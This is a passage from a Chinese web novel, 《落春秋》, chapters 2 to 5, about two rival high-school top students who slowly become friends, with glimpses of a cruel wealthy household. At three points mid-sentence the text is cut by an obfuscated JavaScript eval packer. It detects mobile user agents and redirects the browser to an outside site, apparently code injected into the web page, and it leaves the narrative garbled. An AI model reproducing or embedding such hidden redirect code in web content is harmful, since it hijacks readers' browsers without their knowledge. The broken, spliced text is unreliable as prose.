《落春秋》 2. 雨夜 一中晚自习下课是九点半，当然只是表面上。所有一中学生都知道不到十点钟老师不放行。（包括走读生） 最后的半个小时不是一般的难熬。高二课程比起高一明显增加，就连陆知天这样嘴一刻不动都难受的人也安静了不少。教室里又有了跟上午一样的死气。 叶桐在刷一张数学竞赛卷，做到最后一题时停了笔。下意识转着笔并思索着要不要跟冷得像冰的同桌探讨一下，增进同桌感情。 于是他很小心地转头，瞥了夏池一眼，却见他塞着耳机不知在听什么。 听歌？听书？听剧？叶桐沉默着思索。夏池像是察觉到了他的目光，但只是手顿了顿，并没有什么反应。 “呃……同桌？” “嗯？” “就问问，你在听什么？” “网课，吵到你了？” 叶桐下意识摇了摇头，随即又反应过来这位冰雕好像在阴阳他。很好，这同桌真不错！叶桐愤恨地想着。 时间在叶桐的思绪中一晃而过，老师从后门探头说放行的时候他正好落下最后一笔。偏头一看夏池才刚抽出卷子。叶桐当即上演好了伤疤忘了疼，有些难以置信地问：“你不回家？” 夏池没什么表情，只是浅瞳微微抬了一下：“懒得回。” 一班只有一小部分是住宿，而且就算是走读生也要上晚自习。虽然不是硬性规定，但也渐渐成了约定俗成的规矩。所以老师刚喊完，原先还没精打采的男生们立即起死回生。陆知天蓄谋已久地从座位上蹦了起来，拽着李含斌就往叶桐这里跑。 “叶哥，池哥，商量个事儿呗。”陆知天兴致冲冲道。 叶桐此时正因自己热脸贴冷屁股而自闭，不是有兴趣，随口问：“咋了？” “为了欢迎池哥转来，我打算周六找个地方聚一聚，就当欢迎会啦！” 叶桐拿不准自家长辈会不会同意，打算敷衍了事：“回去班群里说吧。” 陆知天了然地点点头，又转向夏池，“池哥你……”呢还没出口，李含斌就截住他，抢先道：“池哥你带手机了吧，那行，我加你微信把你拉班群里吧。” 夏池把手机从桌洞里拿出来，点开微信示意李含斌自己扫。李含斌忙不迭加上了夏池好友。 到十点半，人都走光了。夏池才收了卷子，走出班门。 窗外的雨不知何时又下了起来，夏池看着雨珠如帘幕般自云层洒下，才想起自己没带伞。他本打算淋雨回家，直到他走到门厅，看见倚在窗边栏杆上抬头看雨的身影。尽管是相处了一个上午，但他还是能认出来那是叶桐。 但是现在的叶桐很不对劲。有人在身边时的叶桐是开朗的，像每一个十六七岁的少年。但现在一个人都没有，他就变得很冷很沉默。叶桐的脸隐在黑暗里，添了几分孤独。 夏池远远看着 ，心中五味杂陈。明明他们才认识了一天不到，明明他们才说了不出十句的话。 黑夜是一帘帷幕，没有人可以瞧见幕后的人，所以叶桐躲在这帘幕里，不让任何人瞧见他的模样。但夏池偏偏透过极其隐蔽的一角，窥见他无人知晓的一面。 夏池就这样沉默地看着，直到叶桐从黑暗中脱身，撑开伞走出了校门。他的身影在雨帘间逐渐模糊，再也看不真切。 叶桐回到家，门口两个保安见了他都点头打招呼，他没有理会，直接进了门。 叶兴国和李怡兴都坐在沙发上，弟弟叶宸跪在他们面前，垂着头。叶桐看都没有看叶宸一眼，只是对父母说了句：“回来了。我可以上楼了吗？” 叶兴国点了点头：“你们班转来的人是夏池吧，不要让我听到他拿走你年级第一的消息。”“好。”叶桐早已习惯叶兴国这样的腔调语气，只是生硬地回答。 叶兴国对他的反应很满意，挥挥手示意他上楼。叶宸依旧跪着，没有抬过头。 叶桐想起陆知天周六的计划，迟疑片刻对叶兴国说：“周六，我能出去一趟吗？”“做什么？”“同学聚会。”叶兴国表情冷了一些，但还是维持着不动的姿势。“有哪些人，你别告诉我又是许铭那群人。”“不是，是年级排名前五的同学。”叶桐顿了顿，又补了一句，“还有夏池，” 叶兴国表情更冷了，叶桐下意识是后撤一步，又匆匆停住。“可以，只许三个小时。”“谢谢。”叶桐悄悄松了口气。“那我上楼了。”叶兴国没说话，算默认了。 叶桐走上楼梯，在踏进房门的一刻听见了叶宸凄厉的叫声。用的是竹鞭还是皮鞭，叶桐已经能分辨出来。小时候为了学习礼仪家规，但凡有一个细节没做好都会被打，虽然长大后就变少了，但记忆仍然很难消褪。 他关上门，整理好心情，才拿出手机打开微信。 班群里依旧很热闹，陆知天在宣布周六的计划，不断有人发消息说自己来或不来。叶桐有些疲倦地打出一行字，点击发送。 叶桐：我可以去 陆知天：我靠叶哥你真能啊！ 李含斌几乎同时发：我靠叶哥你真能啊！ 陆知天：学我说话？ 李含斌：学我说话？ 许铭：家有严母，莫念。 周书：家有严父，勿念。 徐复年：家无严父严母，可以。 群里又吵成一片。叶桐看着不断跳动的消息，突然想起来要加一下夏池微信，于是点开群成员，在最末端找到“夏池”两个字，点进去发送了申请。 夏池的头像是一片黑底的枫叶，昵称就是本名，没什么好看的。叶桐点开他的朋友圈，只有一条四月份的，没有配文，只有一张花店的照片。 申请直到十二点才通过，叶桐收到消息时还在做数学竞赛题集。 “夏池已添加你为好友”几个字出现在屏幕上，叶桐连目光都不分给手机一眼。十二点，这人还没睡？他暗暗想着，又划掉一个答案。此时的叶家别墅寂静无声，对叶宸的家罚不知什么时候已经结束。窗外的雨渐渐小了下来，蝉都不再嘶鸣。 叶桐挑了一首纯音乐，塞上耳机开始写作文。 另一边的夏池才刚刚回到家。他自己租了房子，为了远离父亲夏千和后母沈柿秋。 屋子收拾得很干净，几乎没有住过的痕迹。书桌上只有一沓平时要用的题册和一盏台灯，别的书都被收进了柜子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15854908|175872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。他疲惫地倒在床上，闭着眼睛放松了一下才拿起手机。 从李含斌把他拉进班群才两个小时不到，消息就已经99+。他没闲心一条条看，粗略的翻了翻，只看到叶桐发的一句“可以去。”心里的倦意莫名被压下去一些，他点开通讯录，一条条同意着好友申请。 忙完一切再看时间，已经一点了。夏池习惯在学校里写完所有作业，但熬夜的次数却不少，因此并不觉得困，反而愈发清醒。 他闲得无聊，点开了叶桐的信息页。头像是夜幕里的一颗台球，映着星光。昵称就是本名“叶桐”，后面加了个“、”像是在等待一个新名字的加入，也像是在念一个消失的旧人。 朋友圈空空如也，个性签名都没设。夏池看着一片空白，有些无语地点了退出。他本想放大看看叶桐的头像，却手滑按了两下。手机震了震，“你拍了拍叶桐”几个字格外显眼。夏池愣了愣，有些想死。 好在叶桐应该已经睡了，估计没看见。夏池自我安慰着，也准备洗漱一下上床。 等他洗完再回来，就看见叶桐于三分钟前发了个“？”夏池想死的心都有了。夏池本来不打算回，但鬼使神差想起了门厅见到的叶桐，有些冷，也有些…孤独。于是他回了一句。 夏池：手滑 叶桐：哦 回得这么快，不会一直蹲着微信吧。夏池腹诽。 叶桐回了“哦”以后就没动静了，估计是去睡了。夏池对着手机发了会儿呆，觉得自己好像傻了，才躺到床上，看着窗外的夜色。 自从五岁时母亲出车祸身亡，夏池就很喜欢看夜色。那时的夏千还会哄夏池说，夏解忧是去了天上，只有天黑时才能来看夏池。后来沈柿秋出现，逐渐替代了夏解忧的位子，夏千便也很少管夏池了。 父子一年比一年疏远，直到如今已经跟陌生人一样。至于沈柿秋，连夏池都不想看一眼。夏池从七岁就在这样的环境下长大，所以他比谁都明白亲情的虚伪性，也养成了他这样冷淡的性格。 手机震了一下，弹出一条新消息，是他在二中的同学陈曦发来的。 “陈曦”这个名字听上去很女生，其实他是个不折不扣的男生，异常八卦又戏精。 曦：池哥你睡了吗？ 夏池：没 曦：我来跟你说个事 夏池：凌晨一点来说事？ 曦：不是，很重要！ 曦：联考那个跟你抢第一的叶桐你知道是谁吗 曦：是叶棋商会的少爷！ 叶棋商会是北城有名的企业，部署范围几乎覆盖全市。叶棋商会的少爷这个身份是多少人做梦都梦不来的。 夏池：哦 曦：…… 最终夏池的寒气逼退了陈曦。 不过夏池没想到，叶桐会是叶棋商会的少爷。照理来说他的吃穿用度都是最好的，别人可能不会明白为什么叶桐会在孤身时如此沉默阴冷，但夏池明白。 金钱比亲情分量更重，像叶棋商会这样的更是不用说。这样的世家里必定只有利益没有亲情。 夏池感觉自己好像明白了，叶桐会独自看雨的原因。 3. 朋友 夏池转来的第二天，依旧是小雨。淅淅沥沥地打在窗户上，像反射着珠光的银丝线。 他很早就来了学校，走进一班教室门。教室里只坐着一个男生，在靠窗一列的第二个。夏池扫了他一眼，觉得这人有些熟悉。恰好那男生好像听见了夏池的脚步，转身措不及防和他四目相对。 夏池对这张脸的印象很深。很瘦，眼睛很小，嘴唇总是干的。那是他的初中同学——箫齐。箫齐显然也没想到会在这见到夏池，愣了愣，居然笑了出来。 “我听陆知天他们说了，你也转来一中啦。”箫齐开口，嗓音却带了些尴尬。见夏池没反应，他又立刻补充：“昨天我家里有事，没来学校。我也是一班的。” 夏池点了点头，朝着自己的座位走去。直到第三个人出现在门口，他和箫齐也没有说过一句话。 一班同学比别的班自律一点，但也仅仅只有一点。同学都慢慢来齐了，叶桐还没有踪影。夏池看着身边的空座，继续沉默。 陆知天像是察觉到了夏池的视线，解释道：“叶哥平时都很晚来的。” 夏池直接转头，不再看陆知天和那个空座。 不过陆知天说得一点不错，七点二十分叶桐的身影才出现在教室后门。陆知天和许铭他们大大咧咧打了个招呼，叶桐就笑着点了点头，似乎昨晚的那个背影只是一场梦而已。 叶桐走到座位上，下意识看了眼同桌。好吧，依旧很冷，眼神都不施舍一点。 教师里很吵，只有几个人在轻声读书，其余的全部在聊天或玩闹。夏池的手顿了顿，没有任何预兆地抬起头，对上了叶桐的视线。他们就在这样一片喧嚣中默默对视，夏池那一双总是很冷的眼眸也染了些温和。 叶桐火燎到一样侧过头，低声说：“早。” “早。”夏池没什么表情。 后来的四十分钟他们都没再开过口，情理之中。毕竟夏池这样的人无论跟谁坐在一起都很难热络。 七点五十，季太后准时从前门走进一班，开始放ppt。夏池对语文比对理综感兴趣多了，所以上课也比别的认真一些。比起一班其他人好了不少，至少不会在语文课写数学。 季太后作为市内有名的教师，教学质量比二中的老师好一些，更有发散性。夏池明面上没有表现出来，但其实是很喜欢她的课的。 叶桐就明显没有夏池这么喜欢语文。他象征性听了五六分钟，就从桌肚里摸出数学卷子，压在课本底下随时准备开写。夏池注意到身旁人的动作，并没有什么表现。 无论是在二中还是现在的一中，像叶桐这样的人都比比皆是。如果季霜写板书的时候回头看一眼，至少能看到十个埋头的。 思绪有些飘远，又被叶桐压低了声音的一句话拉了回来。 “同桌，商量一下。” “嗯？” “别告朝天椒呗，她要是知道了能把我按在地上打。” 夏池心说我看上去很像会打小报告的人吗？但面上依旧波澜不惊。 “行。” 叶桐松了口气。其实他本来想问的是“同桌，要不要一起写？”，话到嘴边绕了个弯变成了“别告诉老季”。他绕弯的原因其实很简单，就是让人一言难尽。 因为他怕带坏夏池。 哎，同桌这么正经，要是被我带坏了就不好了。他一边想着一边又写下一个数字。全然不知他害怕自己带坏的同桌此时看他的眼神像看傻子。 从夏池的视角看，叶桐此时就是边傻笑边埋头写作业。他转来一中前就知道叶桐也在一中。原先以为他是一个不苟言笑，满脑子概念的“木头”，谁能想到是这个样子…… 他叹了口气，正打算转脸听课，就听季霜隐忍着怒意的声音。 “后排的两位？有能耐啊，课都不听了？” 夏池惊了一下 ，下意识抬头，正对上季霜一对凤眼。叶桐默不作声地把数学卷子往里面塞，塞一半就被夏池敲了敲桌子。他疑问地抬头对上夏池的目光，这才意识到不对。 “还当着我的面眉目传情是吧？叶桐你暗送秋波送得真好。”季霜的声音传来。 斜前桌陆知天咽了咽口水，冒着“生命危险”转头看向两位好兄弟，眼中满是同情。 夏池主动起身，虽是微微垂眸却并无反省的样子，反而有点……嘲讽？季太后要被气疯了。其实这也不能全怪夏池，但是人家就长这样，不论什么表情都带着冷淡意味。 反观叶桐，季霜更气了。人家夏池至少还做个样子，他倒好连站都不站一下。 “叶桐你给我站到后面去！你，夏池。给我站好了！”太后一声怒喝，喝得其它人气都不敢喘，只敢偷偷转头看着两位大佬。李含斌甚至给他们比了个大拇指，用口型说：真勇。 季太后眼尖，瞄见了李含斌的小动作：“李含斌你很闲吗？滚上来翻译这句诗！”李含斌老老实实去了。 下午第一节课是数学。此时离上课还有五分钟。陆知天和李含斌围在叶桐和夏池座位旁，你一言我一语地介绍着 数学老师周辰。 “老蛙啊，比朝天椒温和一点。” “废话！一中还有谁比朝天椒严厉。” “啧，反正老蛙就属于那种很少动怒的。但有一个易触怒的点，就是你上课要是抽你回答问题千万不能答不上来！” 夏池听到这里才有了些反应：“为什么？” 陆知天神神秘秘地说道：“反正池哥你上了课就知道了。” “哦，你们叫他老蛙？”“这个你看到他就知道了。” 前桌周书听得笑了，陆知天立马介绍道：“池哥你前桌周书啊，是老蛙他儿子！” ”这儿子给你当你要不要？“周书笑着怼他。 “别啊，我不想每天被敲头！” 于是他俩又笑着闹开了。叶桐看着他俩，嘴角勾了勾。 上课铃一响，周辰就走进了一班。这是一个中年发福的男人，腮帮子很大，长得像青蛙。夏池看着周辰，终于明白了为什么叫他老蛙。 老蛙此时是笑着的，显得很和蔼。他笑道：“听你们季老师说，咱班转来一位新同学。” “对对对，就坐叶神旁边。”周书一向不怕自己的老父亲，抢着回答。 “啊，不错，小伙子长得眉清目秀。”周辰充分体现了什么叫中年男人的唠叨，愣是围绕着夏池夸了三分钟，夸得男生们都忍不了了，齐声说：“老师您还给我们上课吗！” 老蛙这才收了话题，拿出教材。 课上，老蛙一直没有点人回答，正在夏池以为上课前陆知天就是随口一说时，老蛙突然发话了。 “很好，下面例行五问！”说完这句话后，教室里瞬间寂静无声，如暴风雨前的宁静。随后……“陆知天！你来讲讲教参第五十九页第三大题第二小题的三角函数降幂公式怎么解。”随之而来的是陆知天欲哭无泪的叹气。 他及其不情愿地站了起来，翻开教参看着题目。老蛙危 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15854909|175872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 险地眯起眼：“到黑板上来写。”陆知天只好乖乖上去了。 他才做到一半，老蛙就又开始点名：“叶桐夏池你俩也上来，分别默一下正弦定理的射影定理和函数的洛必达法则。”于是这两位也走了上去，拿起笔就开始写公式。 一旁的陆知天还在猴急，见这两连想都不想就直接开始默写，更加生无可恋。到最后这俩都默写完了，陆知天才做到倒数第三步。老蛙走了过去，毫无预兆地在陆知天脑壳子上敲了一下，清脆响亮。陆知天只得默默挨敲。 下课，陆知天捂着脑门就来找叶桐夏池“兴师问罪”。 “叶哥池哥，你俩是约好了来搞我心态的吧！”李含斌在一旁为自己的好兄弟说话：“就是啊，你俩的概念是刻脑子里了吧！”周书转身一脸敬佩看着两位大佬：“大佬求带飞！” 夏池一如既往没表情，淡淡道：“多背。”叶桐看着同桌憋笑，憋得肋骨都开始疼。才缓过气来说：“你们三就别想了，趁早去演小品吧。” 陆知天闹够了，才笑着对夏池说：“池哥你现在知道为什么不能答不上来了吧，老蛙这手都敲人敲出老茧了。”“池哥那需要知道嘛，人家根本不担心！”李含斌回怼。 叶桐看着他俩直笑，徐复年也转头看着他们，直接一巴掌拍在叶桐桌上。 “你俩跟猴子一样，咋不去马戏团呢。”“徐喷子……”“你叫谁？！”陆知天为他那句“徐喷子”收到了徐复年的“惩治”。被一女生追着满教室跑，边跑边嚎：“徐姐放过我吧！再也不敢了！” 夏池被这女生惊了一下，李含斌连忙介绍：“徐复年，咱班最暴力的女生，豪迈得一批。”片刻后，他看着好兄弟的惨状，又补了一句：“池哥你最好防备一下。” 夏池有些无语。叶桐不轻不重拍了一下李含斌的背：“我同桌像是容易被欺负的吗？”于是李含斌也闭麦了，怀疑的目光在叶桐夏池身上游移。 叶桐被他看的有些无奈：“看什么看，看我好看啊。”“没…” 叶桐当然不知道这位好兄弟的未出口的后半句是，“你俩怎么这么微妙呢”。 夏池其实也怔了一秒，但并没有表现出来，只是在心里给叶桐打了个“自来熟”的标签。 陆知天和徐复年两个人的追逐引起了不少人的注意，汪晨露作为班长只得上去劝架：“别追了，陆知天你怎么就长了这张嘴呢。” “露神你有点偏心啊！为什么只骂我不骂她！”陆知天委屈上了。 汪晨露翻了个白眼，毫不客气：“人家小年这么温柔，能被你逼成这样只能说明你嘴贱。”班里响起一片“啧啧”声。陆知天吃了瘪，试图从自己好兄弟身上寻求安慰，就看见—— 李含斌抬头望天事不关己，周书专心写作业不分一点余光。叶桐笑着看向夏池，夏池还是冷若冰霜。 这群人……陆知天感觉这么多年兄弟情全部碎了，碎得一干二净。不过在他黯然神伤之余，他又隐约感觉不对。 叶哥和池哥，什么时候关系变好的？”他暗想。 窗外雨声更加强烈，时不时几声闷雷传来。天地间昏暗一片，但教室里灯火依旧。有笑声，有说话声。叶桐看着夏池，夏池看着窗外。 随后，叶桐用只有夏池能听见的声音说： “同桌，考不考虑交个朋友？” “嗯？”夏池没反应过来。 叶桐想了想，又笑着补上一句： “很好的那种。” 4. 打赌 彼时窗外暴雨倾盆，窗内欢笑满堂。夏池回眸看向叶桐，就见少年眼中浸染着夏色。明明连阳光都看不见，对方眼底光亮却更甚。 他沉默良久，知道思绪被洗净一空，眼中再也盛不下别的，才开口： “好。”虽然只有一个字，但叶桐很明显感受到对方态度的转变。其实夏池自己不知道，他此时眼里是带着笑意的，周身都柔和了不少。 叶桐此时心情很复杂。刚刚那句话完全是冲动下脱口而出的，没料到夏池还真就应了。叶大学霸有点…无措。 最后竟然是夏池这座大冰雕开的口，但这口还不如不开。 “反悔了？”夏池看着叶桐沉默的样子，大概是误解了。 “没有！”叶桐回得很快，很像狡辩。 “……” 叶桐有点急：“真没反悔，我就是…不知道怎么说。” “你没交过朋友？”夏池语气又带了点嘲讽，他虽然已经答应了叶桐的请求，但并没有因此改变自己的本性——怼人。 叶桐噎了一下，随即无奈道：“当然交过。”就是没交过这样冷的冰雕！ 夏池轻哼一声，又低头去看作业了，看上去心情并不很好。 叶桐思来想去也没想到自己有哪里惹到这位了，于是就这样沉默着思考，看上去居然有点高深。 直到一声“叶哥池哥！”传来。叶桐抬头看见李含斌和陆知天正冲他们招手，那声正是陆知天叫的。 “干嘛？”叶桐不是很有心情闲聊，就抬高了嗓音。 那两人还没回答呢，夏池就直接从座位上站起，椅子在地上摩擦，发出一声刺耳的响声。叶桐懵了一下，下意识问道：“你去哪？” “关你屁事。”夏池还是硬邦邦的。 “哎哎哎，别急啊。”叶桐其实自己比夏池还急，直接追了上去。“你咋了，心情这么差。” 见夏池不说话，他又匆匆补了一句：“我真的没反悔，就是纯尴尬你懂吗？” “你哄小孩呢？”夏池这才收住步子，皱着眉看向叶桐。 “没，不敢。”叶桐答道。 夏池并不搭理。 刚刚他们闹出来的动静其实挺大的，教室里大半个女生都在围观。 周书压低了声音对教训完陆知天的徐复年说：“这俩真是水火不容啊？”“废话！”徐复年答得很快。 刚刚还在招呼叶桐夏池的李、陆二人也在窃窃私语。 “哎，这俩不会要打起来吧。刚刚还看叶哥在看池哥呢。” “就是啊，那眼神……啧啧，含情脉脉。” “不管了，就当打是亲骂是爱吧。” 李含斌点点头，眼中闪着八卦的光芒。 夏池走到李含斌和陆知天面前，没什么表情也没什么好脾气地问：“刚刚叫我干嘛？” 陆知天下意识咽了咽口水，才开口：“呃…就告诉你俩一下，刚刚朝天椒那边传来消息，明天临时改为周考了。” “嗯。” 叶桐也走来，听到这话下意识看了身旁人一眼。 联考场上都针锋相对的人，这种小考上会不会也不分上下呢…… 下一节是体育课，一班虽然平时很卷，太后管的也严，但是占体育课这种事是不会干的。这一点也比卷山一带其他学校好得多。 体育老师叫商旻，一班人都私底下叫他水牛，因为这位老师笑点奇低，笑起来总是“哞哞”的，像牛叫，就起了这么个名字。 “水牛”此时很正经，他环视了一圈，目光落在夏池身上。 “这就是咱班新转来的同学吧？” 陆知天立刻答道：“啊对～” 商老师表情微微抽搐，看得出来他很想在新同学面前矜持一点，但根本憋不住，笑了出来。 夏池面无表情地看着这位“水牛”，发自内心地觉得“水牛”这个名字起得很贴切。 教室里被水牛笑倒了一片，陆知天边笑边回头冲夏池和叶桐说：“……我讨厌…咳咳，我讨厌水牛！” 夏池极力压制着笑意，但一看到水牛就忍不住，也偏头笑了。 叶桐试图憋住，但结果和夏池一样，笑倒在桌子上。 一班大佬们此时如野人般笑得收不住，直到商老师正色，挥了挥手示意他们出门排队。 走廊上光线很暗，丝丝缕缕的雨打在窗上，称得窗内格外寂静。 叶桐排在最后一个，夏池就站在他前面。 在教室里明光与天边昏影相交的地方，叶桐微微倾身，在夏池耳边低声道： “刚刚太急，有句话忘了说。” “嗯？”夏池侧头。 “新朋友，我可以改一个对你的称呼吗？” 夏池在听见“新朋友”三个字时明显一愣，下意识回答：“什么？” “嗯……池子…池子行吗？”叶桐不知有意还是无意，重复两遍，似乎是想加深一下对这个名字的印象。 夏池彻底沉默。 商老师让他们自由活动，自己不知跑哪里去了。 叶桐和夏池一前一后站在通向操场的门前，这时从他们身后看去，就是雨帘钩织成一扇门，乌云聚集出两个少年的背影。 一个在看雨，一个在看他。经久，而静谧。 然后夏池回头，说：“行。” 片刻后，他似乎是觉得一个“行”太过单调，又补了一句：“池子也可以。” 叶桐看着他，也释怀般的笑了。 “行，池子。” 正如陆知天所说，第二天是一中周考。 一中的可怜人卷惯了，对考试也早已麻木。 一中有一个很奇葩的点，就是周考日期完全不固定，只会前一天通知。这点曾经让无数一中学生怒骂，甚至想拆学校。 叶桐夏池对这种小考没什么兴趣，因为在夏池还没转来前，叶桐次次年级第一，夏池在二中同样次次年级第一。这种事完全不需要担心。 但是这次不太一样。作为联考场上不分伯仲的两位大佬，在同一个学校内的必然会擦出很“亮眼”的火花。 第二天早上夏池走进一班，就见陆知天和一群男生嘀嘀咕咕不知道在说什么。他面无表情地粗略扫了一眼，没什么兴趣，直接坐到位子上。 夏池不知道，其实陆知天在干一些“地下工作”。 “我赌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15854910|175872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叶哥赢！咱叶哥都多少次年级第一了，如此之稳，是我们这些凡人能比肩的嘛！” “哎，这你就不懂了。人池哥刚转来，肯定要好好考树立一下威望啊。” “就是，我也赌池哥！” 夏池虽然离他们有点远，但他听力很好，听得一清二楚，不由腹诽。这些一班人都是闲出屁了吗，这点小事也赌？ 今天叶桐来得很早，不知道是不是周考的缘故。夏池一看见他就想到昨天那个“池子”的称呼，有些头疼，干脆装作没看到。 叶桐看上去心情倒是很好，他放下书包，偏头看向新朋友的侧脸，笑道： “今天手下留点情啊，池子？” 夏池不自在地轻咳一声，没有转头。 “梦里啥都有。”他怼道。 叶桐也不还嘴，就嘴角带笑地开始往抽屉里放书。 陆知天这群人看到叶桐夏池都出现才止了话题，欲盖弥彰般地咳个不停。叶桐忍了一会儿，还是抬头抬高了嗓音： “你们几个感冒？“ “没没没……”陆知天忍着笑又咳了几声。 叶桐白了他一眼，完全不想跟这群人废话。 知道季霜走进前门，一班才彻底静下来。 “周考了，还这么活跃？”太后语气里带着调侃。 “不敢不敢，太后您有什么吩咐的？”李含斌看上去有点“狗腿”。 “呵，还不快点复习！”太后终于暴露本性。 “这次周考你们的平均分还是退步了——”她顿住，威胁般环视一圈，“周末就别想活了！” 陆知天和李含斌同时吓得一哆嗦，哆嗦完又莫名好笑，但碍于太后刀人的眼神只得忍住。嘴角抽搐，及其搞笑。 许铭远远看见，不动声色垂头笑起来。 “许铭还笑呢，这次你要是退步了就给你加五张卷子。” 太后一向说到做到，许铭不敢冒险，有些委委屈屈地正色，活像只被抢了香蕉的猴子。 太后盯着他看了一会儿，只觉得自己教出了一帮蠢材，暗暗叹气。 第一门考的语文，也是夏池比较擅长的一门。 考试铃打响后，一班就沉寂下来，笔尖的“沙沙”声显得很刺耳。 叶桐边写边偷偷打量夏池，对方此时满脸认真，认真到……有些可爱？ 他被自己的想法惊到，铅笔在答题卡上滑出长长一道，又赶忙翻橡皮擦拭。夏池看在眼里，也不动声色，只从喉间溢出来一声低笑，极其嘲讽。 叶桐大概是没听到，擦掉铅笔痕后就继续答起题来。夏池觉得自己有些幼稚，当即也不再管别的，凝神看着问卷。 两个半小时说长不长，说短不短。结束铃响起，每列最后一个就开始收卷子。 叶桐承担了夏池一列在内的大组，他站起身，在倾身拿夏池试卷时低低说了一句： “池子，要不要赌一下？” 夏池嗤了一声，并不客气：“赌什么？” “赌这次周考，谁第一。” “那就抱歉了，我天性骄傲。” 叶桐低低笑了一声： “行，我也不遑多让。” 5. 幼稚 上午的考试比较折磨人，最后一门的铃声响起，教室里哀嚎四起，活像被抢了香蕉的猩猩。 待试卷收完，夏池放个笔的功夫再抬头，就见一班人整齐划一地弯腰掏“干粮”——面包加火腿肠。他看了一会儿，默默在心底画了个问号。 或许是他迷惑的表情太明显，叶桐凑过来，为啃干粮的众人解释：“一中太卷，考试当天午饭大多自备。”他顿了顿，补充，“为了下午的战场。” 夏池“嗯”了一声，才收回目光看向叶桐：“那你？” 虽然只有两个字吧，但好歹算关心。叶桐暗想，很没出息地嘴角上扬。 “放心好了，咱俩的午饭我搞定了。”叶桐说到最后，甚至有了些得意。夏池看在眼里，不着痕迹地翻了个白眼。 其实很奇怪，他们才认识不到一周，但是又似是一见如故。叶桐却能接纳夏池的冷淡，夏池也会包容叶桐的热情。相处的每一毫秒，他们的友情都在变得明晰，炽热。这种变化很细微，但夏池对一切感情都很敏感。他感觉得到，自己和叶桐之间的丝线正在以每秒千丝万缕的速度增长 。 夏池对一切的人也好，事也罢，都只有两个字——随缘。既然答应了叶桐，就这样下去吧。结果的好坏，谁能说的清楚呢。 叶桐说得确实没错，不出五分钟，后门就出现一颗头…不对，是一个人。夏池座位的右斜后桌就是后门，任何一点风吹草动他都听得见。 叶桐也看到了那男生，心情不错地走了过去，拿过男生手里的袋子。 “钱转过去了。”叶桐扬了扬手机。 那人下意识看了眼手机，不知为何有些无语。 “没必要吧叶哥，我知道你钱多，但是我就带个饭，一百？”那男生问。 叶桐笑而不语。 那男生嗓门还挺大，这一声把陆知天和李含斌引得回头。 “哎，小糖糖你怎么来了？” “滚你妈的，叫谁糖糖呢。” 这位糖糖其实是一中高一一班的学生，陈塘。由于性格极其奔放，跟一班的人玩得不错，就跨越一个年级跟一班建立起友谊。 夏池看了眼陈塘，总觉得熟悉，像是在某张照片上看见过。恰好陈塘也看见了他，愣了愣，脱口而出一句：“夏池 ？” 这一声比刚刚那句引人注目多了。四下众人纷纷回头，陆李俩人整齐划一一声“啊？” 夏池终于有了点表情，思索中带着不确定：“你是…陈曦他弟？” 陈塘点点头，激动地不行：“他老是跟我提起你，还给我看过你照片！真人比照片还帅！”他越说，脸上花痴的表情越显眼。 叶桐看着他，接了话题：“你俩认识啊？” “嗯，以前同学的亲戚。”夏池开口解释。 表面很镇定，夏池内心却有咆哮的念头。先不说陈曦他父母怎么取名的，一个曦一个塘，比女生还女生。最重要的是，为什么他俩一个在南城一个在北城，性格一模一样，甚至社交的范围都一样广啊！ 正在他不知该说什么的时候，陈塘却先告辞了：“那啥我先回去了啊，叶哥和夏哥再见！”说完就跑了。 “这人就这样，来无影去无踪。”陆知天看着陈塘消失的背影，对夏池解释。 叶桐把那袋子放到桌上。 “池子～吃吗？”“写了。”夏池答完，抬头一看发现小半个班都眼巴巴看着这边，眼中是蠢蠢欲动的光。 “叶哥～池哥～”许铭先开口，迎接他的是叶桐一声“神经”以及夏池一个“滚”。 “呵呵……”许铭自我安慰般干笑两声。转身和同桌汪晨露嘀嘀咕咕去了。 他跟叶桐座位隔得远，但叶桐视力好。从他这个角度，看见了班长边听边点头，前同桌边说边嘴角上扬。古怪的和谐感。 一中考试的日子，中午吃完饭就自习。半点放松的机会都不给。夏池很嚣张地在在一群埋头苦读的学生中间拿起了手机。 从他这半个星期对一中的观察来看，这所学校对学生的手机管得不严，更可贵的是，老师对手机一类的东西全部选择性失明，这也是卷山的巅峰北城一中里，学“牲”不疯的一大原因。 夏池：滚出来 曦：咋啦池哥 夏池：你弟在一中 曦：昂，对啊 又过了几秒，对面才反应过来。 曦：你见到他啦？ 夏池：嗯 夏池：跨越一个年级 夏池：送饭 曦：？送啥饭 夏池突然就不想说了，大概是太懒。 夏池：没什么，滚吧 曦：…… 叶桐一直看着自己同桌，笑意很明显。 夏池没看到身旁人动作，就侧头，直接对上了叶桐的视线。 夏池罕见的愣了愣，随即问：“有事？” 